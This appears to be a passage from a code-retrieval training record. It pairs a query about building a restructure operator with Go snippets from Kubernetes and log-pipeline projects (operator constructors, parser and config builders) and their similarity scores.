\"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,TLS_RSA_WITH_AES_256_GCM_SHA384,TLS_RSA_WITH_AES_128_GCM_SHA256\",\n\t\t\t\"--tls-private-key-file\": \"/etc/kubernetes/certs/kubeletserver.key\",\n\t\t},\n\t\tKubeproxyConfig: map[string]string(nil),\n\t\tEnableRuncShimV2: false,\n\t\tGPUInstanceProfile: \"\",\n\t\tPrimaryScaleSetName: \"\",\n\t\tSIGConfig: datamodel.SIGConfig{\n\t\t\tTenantID: \"tenantID\",\n\t\t\tSubscriptionID: \"subID\",\n\t\t\tGalleries: map[string]datamodel.SIGGalleryConfig{\n\t\t\t\t\"AKSUbuntu\": {\n\t\t\t\t\tGalleryName: \"aksubuntu\",\n\t\t\t\t\tResourceGroup: \"resourcegroup\",\n\t\t\t\t},\n\t\t\t\t\"AKSCBLMariner\": {\n\t\t\t\t\tGalleryName: \"akscblmariner\",\n\t\t\t\t\tResourceGroup: \"resourcegroup\",\n\t\t\t\t},\n\t\t\t\t\"AKSWindows\": {\n\t\t\t\t\tGalleryName: \"AKSWindows\",\n\t\t\t\t\tResourceGroup: \"AKS-Windows\",\n\t\t\t\t},\n\t\t\t\t\"AKSUbuntuEdgeZone\": {\n\t\t\t\t\tGalleryName: \"AKSUbuntuEdgeZone\",\n\t\t\t\t\tResourceGroup: \"AKS-Ubuntu-EdgeZone\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tIsARM64: false,\n\t\tCustomCATrustConfig: nil,\n\t\tDisableUnattendedUpgrades: true,\n\t\tSSHStatus: 0,\n\t\tDisableCustomData: false,\n\t}\n}", "func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\tgceNew, err := gce.New(\"\")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn &ReconcileTargetPool{\n\t\tclient: mgr.GetClient(),\n\t\tscheme: mgr.GetScheme(),\n\t\tgce: gceNew,\n\t\treconcileResult: reconcile.Result{\n\t\t\tRequeueAfter: time.Duration(5 * time.Second),\n\t\t},\n\t\tk8sObject: &computev1.TargetPool{},\n\t}\n}", "func New(rc *Config) *Reloader {\n\treturn &Reloader{\n\t\tconfigFile: rc.ConfigFile,\n\t\treloadURL: rc.ReloadURL,\n\t\twatchInterval: rc.WatchInterval,\n\t}\n}", "func New(\n\tnamespace, name, imagesFile string,\n\tmcpInformer mcfginformersv1.MachineConfigPoolInformer,\n\tmcInformer mcfginformersv1.MachineConfigInformer,\n\tcontrollerConfigInformer mcfginformersv1.ControllerConfigInformer,\n\tserviceAccountInfomer coreinformersv1.ServiceAccountInformer,\n\tcrdInformer apiextinformersv1.CustomResourceDefinitionInformer,\n\tdeployInformer appsinformersv1.DeploymentInformer,\n\tdaemonsetInformer appsinformersv1.DaemonSetInformer,\n\tclusterRoleInformer rbacinformersv1.ClusterRoleInformer,\n\tclusterRoleBindingInformer rbacinformersv1.ClusterRoleBindingInformer,\n\tmcoCmInformer,\n\tclusterCmInfomer coreinformersv1.ConfigMapInformer,\n\tinfraInformer configinformersv1.InfrastructureInformer,\n\tnetworkInformer configinformersv1.NetworkInformer,\n\tproxyInformer configinformersv1.ProxyInformer,\n\tdnsInformer configinformersv1.DNSInformer,\n\tclient mcfgclientset.Interface,\n\tkubeClient kubernetes.Interface,\n\tapiExtClient apiextclientset.Interface,\n\tconfigClient configclientset.Interface,\n\toseKubeAPIInformer coreinformersv1.ConfigMapInformer,\n\tnodeInformer coreinformersv1.NodeInformer,\n\tmaoSecretInformer coreinformersv1.SecretInformer,\n\timgInformer configinformersv1.ImageInformer,\n) *Operator {\n\teventBroadcaster := record.NewBroadcaster()\n\teventBroadcaster.StartLogging(klog.Infof)\n\teventBroadcaster.StartRecordingToSink(&coreclientsetv1.EventSinkImpl{Interface: kubeClient.CoreV1().Events(\"\")})\n\n\toptr := &Operator{\n\t\tnamespace: namespace,\n\t\tname: name,\n\t\timagesFile: imagesFile,\n\t\tvStore: newVersionStore(),\n\t\tclient: client,\n\t\tkubeClient: kubeClient,\n\t\tapiExtClient: apiExtClient,\n\t\tconfigClient: configClient,\n\t\teventRecorder: ctrlcommon.NamespacedEventRecorder(eventBroadcaster.NewRecorder(scheme.Scheme, corev1.EventSource{Component: \"machineconfigoperator\"})),\n\t\tlibgoRecorder: events.NewRecorder(kubeClient.CoreV1().Events(ctrlcommon.MCONamespace), \"machine-config-operator\", &corev1.ObjectReference{\n\t\t\tKind: \"Deployment\",\n\t\t\tName: \"machine-config-operator\",\n\t\t\tNamespace: ctrlcommon.MCONamespace,\n\t\t\tAPIVersion: \"apps/v1\",\n\t\t}),\n\t\tqueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), \"machineconfigoperator\"),\n\t}\n\n\tfor _, i := range []cache.SharedIndexInformer{\n\t\tcontrollerConfigInformer.Informer(),\n\t\tserviceAccountInfomer.Informer(),\n\t\tcrdInformer.Informer(),\n\t\tdeployInformer.Informer(),\n\t\tdaemonsetInformer.Informer(),\n\t\tclusterRoleInformer.Informer(),\n\t\tclusterRoleBindingInformer.Informer(),\n\t\tmcoCmInformer.Informer(),\n\t\tclusterCmInfomer.Informer(),\n\t\tinfraInformer.Informer(),\n\t\tnetworkInformer.Informer(),\n\t\tmcpInformer.Informer(),\n\t\tproxyInformer.Informer(),\n\t\toseKubeAPIInformer.Informer(),\n\t\tnodeInformer.Informer(),\n\t\tdnsInformer.Informer(),\n\t\tmaoSecretInformer.Informer(),\n\t} {\n\t\ti.AddEventHandler(optr.eventHandler())\n\t}\n\n\toptr.syncHandler = optr.sync\n\n\toptr.imgLister = imgInformer.Lister()\n\toptr.clusterCmLister = clusterCmInfomer.Lister()\n\toptr.clusterCmListerSynced = clusterCmInfomer.Informer().HasSynced\n\toptr.mcpLister = mcpInformer.Lister()\n\toptr.mcpListerSynced = mcpInformer.Informer().HasSynced\n\toptr.ccLister = controllerConfigInformer.Lister()\n\toptr.ccListerSynced = controllerConfigInformer.Informer().HasSynced\n\toptr.mcLister = mcInformer.Lister()\n\toptr.mcListerSynced = mcInformer.Informer().HasSynced\n\toptr.proxyLister = proxyInformer.Lister()\n\toptr.proxyListerSynced = proxyInformer.Informer().HasSynced\n\toptr.oseKubeAPILister = oseKubeAPIInformer.Lister()\n\toptr.oseKubeAPIListerSynced = oseKubeAPIInformer.Informer().HasSynced\n\toptr.nodeLister = nodeInformer.Lister()\n\toptr.nodeListerSynced = nodeInformer.Informer().HasSynced\n\n\toptr.imgListerSynced = imgInformer.Informer().HasSynced\n\toptr.maoSecretInformerSynced = maoSecretInformer.Informer().HasSynced\n\toptr.serviceAccountInformerSynced = serviceAccountInfomer.Informer().HasSynced\n\toptr.clusterRoleInformerSynced = clusterRoleInformer.Informer().HasSynced\n\toptr.clusterRoleBindingInformerSynced = clusterRoleBindingInformer.Informer().HasSynced\n\toptr.mcoCmLister = mcoCmInformer.Lister()\n\toptr.mcoCmListerSynced = mcoCmInformer.Informer().HasSynced\n\toptr.crdLister = crdInformer.Lister()\n\toptr.crdListerSynced = crdInformer.Informer().HasSynced\n\toptr.deployLister = deployInformer.Lister()\n\toptr.deployListerSynced = deployInformer.Informer().HasSynced\n\toptr.daemonsetLister = daemonsetInformer.Lister()\n\toptr.daemonsetListerSynced = daemonsetInformer.Informer().HasSynced\n\toptr.infraLister = infraInformer.Lister()\n\toptr.infraListerSynced = infraInformer.Informer().HasSynced\n\toptr.networkLister = networkInformer.Lister()\n\toptr.networkListerSynced = networkInformer.Informer().HasSynced\n\toptr.dnsLister = dnsInformer.Lister()\n\toptr.dnsListerSynced = dnsInformer.Informer().HasSynced\n\n\toptr.vStore.Set(\"operator\", version.ReleaseVersion)\n\n\treturn optr\n}", "func newOptions() (*Options, error) {\n\to := &Options{\n\t\tconfig: new(componentconfig.CoordinatorConfiguration),\n\t}\n\treturn o, nil\n}", "func configDefault(config ...Config) Config {\n\t// Return default config if nothing provided\n\tif len(config) < 1 {\n\t\treturn ConfigDefault\n\t}\n\n\t// Override default config\n\tcfg := config[0]\n\n\t// Set default values\n\n\tif cfg.Next == nil {\n\t\tcfg.Next = ConfigDefault.Next\n\t}\n\n\tif cfg.Lifetime.Nanoseconds() == 0 {\n\t\tcfg.Lifetime = ConfigDefault.Lifetime\n\t}\n\n\tif cfg.KeyHeader == \"\" {\n\t\tcfg.KeyHeader = ConfigDefault.KeyHeader\n\t}\n\tif cfg.KeyHeaderValidate == nil {\n\t\tcfg.KeyHeaderValidate = ConfigDefault.KeyHeaderValidate\n\t}\n\n\tif cfg.KeepResponseHeaders != nil && len(cfg.KeepResponseHeaders) == 0 {\n\t\tcfg.KeepResponseHeaders = ConfigDefault.KeepResponseHeaders\n\t}\n\n\tif cfg.Lock == nil {\n\t\tcfg.Lock = NewMemoryLock()\n\t}\n\n\tif cfg.Storage == nil {\n\t\tcfg.Storage = memory.New(memory.Config{\n\t\t\tGCInterval: cfg.Lifetime / 2, // Half the lifetime interval\n\t\t})\n\t}\n\n\treturn cfg\n}", "func NewOperator(clusterClient kubernetes.Interface, client k8s.Interface, wfr interface{}, namespace string) (Operator, error) {\n\tif w, ok := wfr.(string); ok {\n\t\treturn newFromName(clusterClient, client, w, namespace)\n\t}\n\n\tif w, ok := wfr.(*v1alpha1.WorkflowRun); ok {\n\t\treturn newFromValue(clusterClient, client, w, namespace)\n\t}\n\n\treturn nil, fmt.Errorf(\"invalid parameter 'wfr' provided: %v\", wfr)\n}" ]
[ "0.542078", "0.521859", "0.5059564", "0.50485116", "0.5046536", "0.48944262", "0.46709874", "0.4626035", "0.46195325", "0.46043593", "0.45767885", "0.45460016", "0.45334616", "0.44856468", "0.4463061", "0.44497538", "0.4429227", "0.44270936", "0.44219068", "0.44202003", "0.43951303", "0.4360074", "0.43436486", "0.43266284", "0.43198687", "0.43129638", "0.43006375", "0.4285201", "0.42843103", "0.42779455", "0.4274677", "0.42722002", "0.4251277", "0.42397672", "0.42350718", "0.42270517", "0.42248312", "0.421865", "0.42098767", "0.42035168", "0.42004856", "0.42000377", "0.41937408", "0.41918355", "0.41898802", "0.41867366", "0.41842532", "0.41767654", "0.4175349", "0.4169499", "0.41660705", "0.41660705", "0.41597608", "0.4159703", "0.41577712", "0.41458362", "0.41339505", "0.4131531", "0.4127023", "0.41179", "0.41072813", "0.41005552", "0.40972644", "0.4095325", "0.40947014", "0.40925673", "0.40919012", "0.40908042", "0.4081517", "0.40782136", "0.40773952", "0.40767834", "0.40713948", "0.4065724", "0.4063234", "0.40609697", "0.40585265", "0.40585265", "0.40585265", "0.40585265", "0.40569127", "0.40555552", "0.40533665", "0.40512314", "0.40500548", "0.40493774", "0.40463307", "0.4043102", "0.4039174", "0.40388566", "0.40384883", "0.40384433", "0.4036578", "0.4030778", "0.4025792", "0.40245274", "0.40237507", "0.40225518", "0.40195596", "0.4018482" ]
0.7639705
0
Build will build a restructure operator from the supplied configuration
func (c RestructureOperatorConfig) Build(context operator.BuildContext) ([]operator.Operator, error) { transformerOperator, err := c.TransformerConfig.Build(context) if err != nil { return nil, err } restructureOperator := &RestructureOperator{ TransformerOperator: transformerOperator, ops: c.Ops, } return []operator.Operator{restructureOperator}, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\n\tparserOperator, err := c.ParserConfig.Build(logger)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Parser{\n\t\tParserOperator: parserOperator,\n\t}, nil\n}", "func (c TransformerConfig) Build(logger *zap.SugaredLogger) (TransformerOperator, error) {\n\twriterOperator, err := c.WriterConfig.Build(logger)\n\tif err != nil {\n\t\treturn TransformerOperator{}, errors.WithDetails(err, \"operator_id\", c.ID())\n\t}\n\n\tswitch c.OnError {\n\tcase SendOnError, DropOnError:\n\tdefault:\n\t\treturn TransformerOperator{}, errors.NewError(\n\t\t\t\"operator config has an invalid `on_error` field.\",\n\t\t\t\"ensure that the `on_error` field is set to either `send` or `drop`.\",\n\t\t\t\"on_error\", c.OnError,\n\t\t)\n\t}\n\n\ttransformerOperator := TransformerOperator{\n\t\tWriterOperator: writerOperator,\n\t\tOnError: c.OnError,\n\t}\n\n\tif c.IfExpr != \"\" {\n\t\tcompiled, err := ExprCompileBool(c.IfExpr)\n\t\tif err != nil {\n\t\t\treturn TransformerOperator{}, fmt.Errorf(\"failed to compile expression '%s': %w\", c.IfExpr, err)\n\t\t}\n\t\ttransformerOperator.IfExpr = compiled\n\t}\n\n\treturn transformerOperator, nil\n}", "func (c *Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\n\ttransformer, err := c.TransformerConfig.Build(logger)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to build transformer config: %w\", err)\n\t}\n\n\tif c.IsLastEntry != \"\" && c.IsFirstEntry != \"\" {\n\t\treturn nil, fmt.Errorf(\"only one of is_first_entry and is_last_entry can be set\")\n\t}\n\n\tif c.IsLastEntry == \"\" && c.IsFirstEntry == \"\" {\n\t\treturn nil, fmt.Errorf(\"one of is_first_entry and is_last_entry must be set\")\n\t}\n\n\tvar matchesFirst bool\n\tvar prog *vm.Program\n\tif c.IsFirstEntry != \"\" {\n\t\tmatchesFirst = true\n\t\tprog, err = helper.ExprCompileBool(c.IsFirstEntry)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to compile is_first_entry: %w\", err)\n\t\t}\n\t} else {\n\t\tmatchesFirst = false\n\t\tprog, err = helper.ExprCompileBool(c.IsLastEntry)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to compile is_last_entry: %w\", err)\n\t\t}\n\t}\n\n\tif c.CombineField.FieldInterface == nil {\n\t\treturn nil, fmt.Errorf(\"missing required argument 'combine_field'\")\n\t}\n\n\tvar overwriteWithOldest bool\n\tswitch c.OverwriteWith {\n\tcase \"newest\":\n\t\toverwriteWithOldest = false\n\tcase \"oldest\", \"\":\n\t\toverwriteWithOldest = true\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"invalid value '%s' for parameter 'overwrite_with'\", c.OverwriteWith)\n\t}\n\n\treturn &Transformer{\n\t\tTransformerOperator: transformer,\n\t\tmatchFirstLine: matchesFirst,\n\t\tprog: prog,\n\t\tmaxBatchSize: c.MaxBatchSize,\n\t\tmaxSources: c.MaxSources,\n\t\toverwriteWithOldest: overwriteWithOldest,\n\t\tbatchMap: make(map[string]*sourceBatch),\n\t\tbatchPool: sync.Pool{\n\t\t\tNew: func() interface{} {\n\t\t\t\treturn &sourceBatch{\n\t\t\t\t\tentries: []*entry.Entry{},\n\t\t\t\t\trecombined: &bytes.Buffer{},\n\t\t\t\t}\n\t\t\t},\n\t\t},\n\t\tcombineField: c.CombineField,\n\t\tcombineWith: c.CombineWith,\n\t\tforceFlushTimeout: c.ForceFlushTimeout,\n\t\tticker: time.NewTicker(c.ForceFlushTimeout),\n\t\tchClose: make(chan struct{}),\n\t\tsourceIdentifier: c.SourceIdentifier,\n\t\tmaxLogSize: int64(c.MaxLogSize),\n\t}, nil\n}", "func (c Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\n\tinputOperator, err := c.InputConfig.Build(logger)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif c.ListenAddress == \"\" {\n\t\treturn nil, fmt.Errorf(\"missing required parameter 'listen_address'\")\n\t}\n\n\taddress, err := net.ResolveUDPAddr(\"udp\", c.ListenAddress)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to resolve listen_address: %w\", err)\n\t}\n\n\tenc, err := decoder.LookupEncoding(c.Encoding)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Build multiline\n\tsplitFunc, err := c.Multiline.Build(enc, true, c.PreserveLeadingWhitespaces, c.PreserveTrailingWhitespaces, MaxUDPSize)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar resolver *helper.IPResolver\n\tif c.AddAttributes {\n\t\tresolver = helper.NewIPResolver()\n\t}\n\n\tudpInput := &Input{\n\t\tInputOperator: inputOperator,\n\t\taddress: address,\n\t\tbuffer: make([]byte, MaxUDPSize),\n\t\taddAttributes: c.AddAttributes,\n\t\tencoding: enc,\n\t\tsplitFunc: splitFunc,\n\t\tresolver: resolver,\n\t\tOneLogPerPacket: c.OneLogPerPacket,\n\t}\n\treturn udpInput, nil\n}", "func (c Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\n\tparserOperator, err := c.ParserConfig.Build(logger)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif c.FieldDelimiter == \"\" {\n\t\tc.FieldDelimiter = \",\"\n\t}\n\n\tif c.HeaderDelimiter == \"\" {\n\t\tc.HeaderDelimiter = c.FieldDelimiter\n\t}\n\n\tif c.IgnoreQuotes && c.LazyQuotes {\n\t\treturn nil, errors.New(\"only one of 'ignore_quotes' or 'lazy_quotes' can be true\")\n\t}\n\n\tfieldDelimiter := []rune(c.FieldDelimiter)[0]\n\theaderDelimiter := []rune(c.HeaderDelimiter)[0]\n\n\tif len([]rune(c.FieldDelimiter)) != 1 {\n\t\treturn nil, fmt.Errorf(\"invalid 'delimiter': '%s'\", c.FieldDelimiter)\n\t}\n\n\tif len([]rune(c.HeaderDelimiter)) != 1 {\n\t\treturn nil, fmt.Errorf(\"invalid 'header_delimiter': '%s'\", c.HeaderDelimiter)\n\t}\n\n\tvar headers []string\n\tswitch {\n\tcase c.Header == \"\" && c.HeaderAttribute == \"\":\n\t\treturn nil, errors.New(\"missing required field 'header' or 'header_attribute'\")\n\tcase c.Header != \"\" && c.HeaderAttribute != \"\":\n\t\treturn nil, errors.New(\"only one header parameter can be set: 'header' or 'header_attribute'\")\n\tcase c.Header != \"\" && !strings.Contains(c.Header, c.HeaderDelimiter):\n\t\treturn nil, errors.New(\"missing field delimiter in header\")\n\tcase c.Header != \"\":\n\t\theaders = strings.Split(c.Header, c.HeaderDelimiter)\n\t}\n\n\treturn &Parser{\n\t\tParserOperator: parserOperator,\n\t\theader: headers,\n\t\theaderAttribute: c.HeaderAttribute,\n\t\tfieldDelimiter: fieldDelimiter,\n\t\theaderDelimiter: headerDelimiter,\n\t\tlazyQuotes: c.LazyQuotes,\n\t\tignoreQuotes: c.IgnoreQuotes,\n\t\tparse: generateParseFunc(headers, fieldDelimiter, c.LazyQuotes, c.IgnoreQuotes),\n\t}, nil\n}", "func (c Config) Build(logger *zap.SugaredLogger) (*DirectedPipeline, error) {\n\tif logger == nil {\n\t\treturn nil, errors.NewError(\"logger must be provided\", \"\")\n\t}\n\tif c.Operators == nil {\n\t\treturn nil, errors.NewError(\"operators must be specified\", \"\")\n\t}\n\n\tif len(c.Operators) == 0 {\n\t\treturn nil, errors.NewError(\"empty pipeline not allowed\", \"\")\n\t}\n\n\tsampledLogger := logger.Desugar().WithOptions(\n\t\tzap.WrapCore(func(core zapcore.Core) zapcore.Core {\n\t\t\treturn zapcore.NewSamplerWithOptions(core, time.Second, 1, 10000)\n\t\t}),\n\t).Sugar()\n\n\tdedeplucateIDs(c.Operators)\n\n\tops := make([]operator.Operator, 0, len(c.Operators))\n\tfor _, opCfg := range c.Operators {\n\t\top, err := opCfg.Build(sampledLogger)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tops = append(ops, op)\n\t}\n\n\tfor i, op := range ops {\n\t\t// Any operator that already has an output will not be changed\n\t\tif len(op.GetOutputIDs()) > 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Any operator (except the last) will just output to the next\n\t\tif i+1 < len(ops) {\n\t\t\top.SetOutputIDs([]string{ops[i+1].ID()})\n\t\t\tcontinue\n\t\t}\n\n\t\t// The last operator may output to the default output\n\t\tif op.CanOutput() && c.DefaultOutput != nil {\n\t\t\tops = append(ops, c.DefaultOutput)\n\t\t\top.SetOutputIDs([]string{ops[i+1].ID()})\n\t\t}\n\t}\n\n\treturn NewDirectedPipeline(ops)\n}", "func Build(config map[string]interface{}) {\n}", "func (c CSVParserConfig) Build(context operator.BuildContext) ([]operator.Operator, error) {\n\tparserOperator, err := c.ParserConfig.Build(context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif c.Header == \"\" {\n\t\treturn nil, fmt.Errorf(\"Missing required field 'header'\")\n\t}\n\n\tif c.FieldDelimiter == \"\" {\n\t\tc.FieldDelimiter = \",\"\n\t}\n\n\tif len([]rune(c.FieldDelimiter)) != 1 {\n\t\treturn nil, fmt.Errorf(\"Invalid 'delimiter': '%s'\", c.FieldDelimiter)\n\t}\n\n\tfieldDelimiter := []rune(c.FieldDelimiter)[0]\n\n\tif !strings.Contains(c.Header, c.FieldDelimiter) {\n\t\treturn nil, fmt.Errorf(\"missing field delimiter in header\")\n\t}\n\n\tnumFields := len(strings.Split(c.Header, c.FieldDelimiter))\n\n\tdelimiterStr := string([]rune{fieldDelimiter})\n\tcsvParser := &CSVParser{\n\t\tParserOperator: parserOperator,\n\t\theader: strings.Split(c.Header, delimiterStr),\n\t\tfieldDelimiter: fieldDelimiter,\n\t\tnumFields: numFields,\n\t}\n\n\treturn []operator.Operator{csvParser}, nil\n}", "func NewRestructureOperatorConfig(operatorID string) *RestructureOperatorConfig {\n\treturn &RestructureOperatorConfig{\n\t\tTransformerConfig: helper.NewTransformerConfig(operatorID, \"restructure\"),\n\t}\n}", "func (runtime *Runtime) Build(claset tabula.ClasetInterface) (e error) {\n\t// Re-check input configuration.\n\tswitch runtime.SplitMethod {\n\tcase SplitMethodGini:\n\t\t// Do nothing.\n\tdefault:\n\t\t// Set default split method to Gini index.\n\t\truntime.SplitMethod = SplitMethodGini\n\t}\n\n\truntime.Tree.Root, e = runtime.splitTreeByGain(claset)\n\n\treturn\n}", "func (c StdoutConfig) Build(context operator.BuildContext) ([]operator.Operator, error) {\n\toutputOperator, err := c.OutputConfig.Build(context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\top := &StdoutOperator{\n\t\tOutputOperator: outputOperator,\n\t\tencoder: json.NewEncoder(Stdout),\n\t}\n\treturn []operator.Operator{op}, nil\n}", "func New(config Config) (*Operator, error) {\n\t// Dependencies.\n\tif config.BackOff == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.BackOff must not be empty\")\n\t}\n\tif config.Framework == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Framework must not be empty\")\n\t}\n\tif config.Informer == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Informer must not be empty\")\n\t}\n\tif config.Logger == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Logger must not be empty\")\n\t}\n\tif config.TPR == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.TPR must not be empty\")\n\t}\n\n\tnewOperator := &Operator{\n\t\t// Dependencies.\n\t\tbackOff: config.BackOff,\n\t\tframework: config.Framework,\n\t\tinformer: config.Informer,\n\t\tlogger: config.Logger,\n\t\ttpr: config.TPR,\n\n\t\t// Internals\n\t\tbootOnce: sync.Once{},\n\t\tmutex: sync.Mutex{},\n\t}\n\n\treturn newOperator, nil\n}", "func BuildOperator(ctx context.Context) error {\n\tfmt.Println(\"Running operator binary build\")\n\tout, err := goBuild(\"bin/operator\", \"./operator\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tfmt.Println(\"Finished building operator\")\n\tfmt.Println(\"Command Output: \", out)\n\n\treturn nil\n}", "func (config *Config) Build() (Buffer, error) {\n\tswitch config.BufferType {\n\tcase \"memory\", \"\":\n\t\treturn NewMemoryBuffer(config), nil\n\tdefault:\n\t\treturn nil, errors.NewError(\n\t\t\tfmt.Sprintf(\"Invalid buffer type %s\", config.BufferType),\n\t\t\t\"The only supported buffer type is 'memory'\",\n\t\t)\n\t}\n}", "func Build(crw conf.Rewrites) (Rewrites, error) {\n\tvar rw Rewrites\n\tfor _, cr := range crw.Rewrite {\n\t\tr := Rewrite{\n\t\t\tFrom: cr.From,\n\t\t\tTo: cr.To,\n\t\t\tCopy: cr.Copy,\n\t\t}\n\n\t\trw = append(rw, r)\n\t}\n\n\terr := rw.Compile()\n\tif err != nil {\n\t\treturn rw, errors.Wrap(err, \"rewrite rule compilation failed :\")\n\t}\n\n\treturn rw, nil\n}", "func Build(namespace, name, strategyType, fromKind, fromNamespace, fromName string) buildapi.Build {\n\treturn buildapi.Build{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tNamespace: namespace,\n\t\t\tName: name,\n\t\t\tSelfLink: \"/build/\" + name,\n\t\t},\n\t\tSpec: buildapi.BuildSpec{\n\t\t\tCommonSpec: CommonSpec(strategyType, fromKind, fromNamespace, fromName),\n\t\t},\n\t}\n}", "func (c *config) Build() *dataX.Config {\n\treturn &dataX.Config{}\n}", "func (s *spec) build(state State, more ...State) (*spec, error) {\n\tstates := map[Index]State{\n\t\tstate.Index: state,\n\t}\n\n\tfor _, st := range more {\n\t\tif _, has := states[st.Index]; has {\n\t\t\terr := ErrDuplicateState{spec: s, Index: st.Index}\n\t\t\treturn s, err\n\t\t}\n\t\tstates[st.Index] = st\n\t}\n\n\t// check referential integrity\n\tsignals, err := s.compile(states)\n\tif err != nil {\n\t\treturn s, err\n\t}\n\n\ts.states = states\n\ts.signals = signals\n\treturn s, err\n}", "func Build(log logrus.FieldLogger, s store.Storer) (*kongstate.KongState, error) {\n\tparsedAll := parseAll(log, s)\n\tparsedAll.populateServices(log, s)\n\n\tvar result kongstate.KongState\n\t// add the routes and services to the state\n\tfor _, service := range parsedAll.ServiceNameToServices {\n\t\tresult.Services = append(result.Services, service)\n\t}\n\n\t// generate Upstreams and Targets from service defs\n\tresult.Upstreams = getUpstreams(log, s, parsedAll.ServiceNameToServices)\n\n\t// merge KongIngress with Routes, Services and Upstream\n\tresult.FillOverrides(log, s)\n\n\t// generate consumers and credentials\n\tresult.FillConsumersAndCredentials(log, s)\n\n\t// process annotation plugins\n\tresult.FillPlugins(log, s)\n\n\t// generate Certificates and SNIs\n\tresult.Certificates = getCerts(log, s, parsedAll.SecretNameToSNIs)\n\n\t// populate CA certificates in Kong\n\tvar err error\n\tcaCertSecrets, err := s.ListCACerts()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult.CACertificates = toCACerts(log, caCertSecrets)\n\n\treturn &result, nil\n}", "func (c *Config) Build() *Godim {\n\tif c.appProfile == nil {\n\t\tc.appProfile = newAppProfile()\n\t}\n\tc.appProfile.lock()\n\tif c.activateES {\n\t\tc.eventSwitch = NewEventSwitch(c.bufferSize)\n\t}\n\treturn NewGodim(c)\n}", "func (b Builder) Build(q string, opts ...Option) (*ast.Ast, error) {\n\tf, err := Parse(\"\", []byte(q), opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn f.(*ast.Ast), nil\n}", "func (o FunctionBuildConfigOutput) Build() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v FunctionBuildConfig) *string { return v.Build }).(pulumi.StringPtrOutput)\n}", "func (m *Module) Build(s *system.System) {\n\tr := s.CommandRouter\n\n\tt, err := system.NewSubCommandRouter(`^config(\\s|$)`, \"config\")\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tt.Router.Prefix = \"^\"\n\tr.AddSubrouter(t)\n\n\tt.CommandRoute = &system.CommandRoute{\n\t\tName: \"config\",\n\t\tDesc: \"configures guild settings\",\n\t\tHandler: Auth(CmdConfig),\n\t}\n\n\tk := t.Router\n\tk.On(\"prefix\", Auth(CmdPrefix)).Set(\"\", \"sets the guild command prefix\")\n\tk.On(\"admins\", Auth(CmdAdmins)).Set(\"\", \"sets the admin list\")\n}", "func (c *Config) Build() weather.Provider {\n\t// Build the OWM URL.\n\twURL := url.URL{\n\t\tScheme: \"http\",\n\t\tHost: \"api.wunderground.com\",\n\t\tPath: fmt.Sprintf(\"/api/%s/conditions/q/%s.json\", c.apiKey, c.query),\n\t}\n\treturn Provider(wURL.String())\n}", "func (b Builder) Build(name string) *CommandProcessor {\n\tcp := new(CommandProcessor)\n\tcp.TickingComponent = sim.NewTickingComponent(name, b.engine, b.freq, cp)\n\n\tunlimited := math.MaxInt32\n\tcp.ToDriver = sim.NewLimitNumMsgPort(cp, 1, name+\".ToDriver\")\n\tcp.toDriverSender = akitaext.NewBufferedSender(\n\t\tcp.ToDriver, buffering.NewBuffer(unlimited))\n\tcp.ToDMA = sim.NewLimitNumMsgPort(cp, 1, name+\".ToDispatcher\")\n\tcp.toDMASender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToCUs = sim.NewLimitNumMsgPort(cp, 1, name+\".ToCUs\")\n\tcp.toCUsSender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToTLBs = sim.NewLimitNumMsgPort(cp, 1, name+\".ToTLBs\")\n\tcp.toTLBsSender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToRDMA = sim.NewLimitNumMsgPort(cp, 1, name+\".ToRDMA\")\n\tcp.toRDMASender = akitaext.NewBufferedSender(\n\t\tcp.ToDMA, buffering.NewBuffer(unlimited))\n\tcp.ToPMC = sim.NewLimitNumMsgPort(cp, 1, name+\".ToPMC\")\n\tcp.toPMCSender = 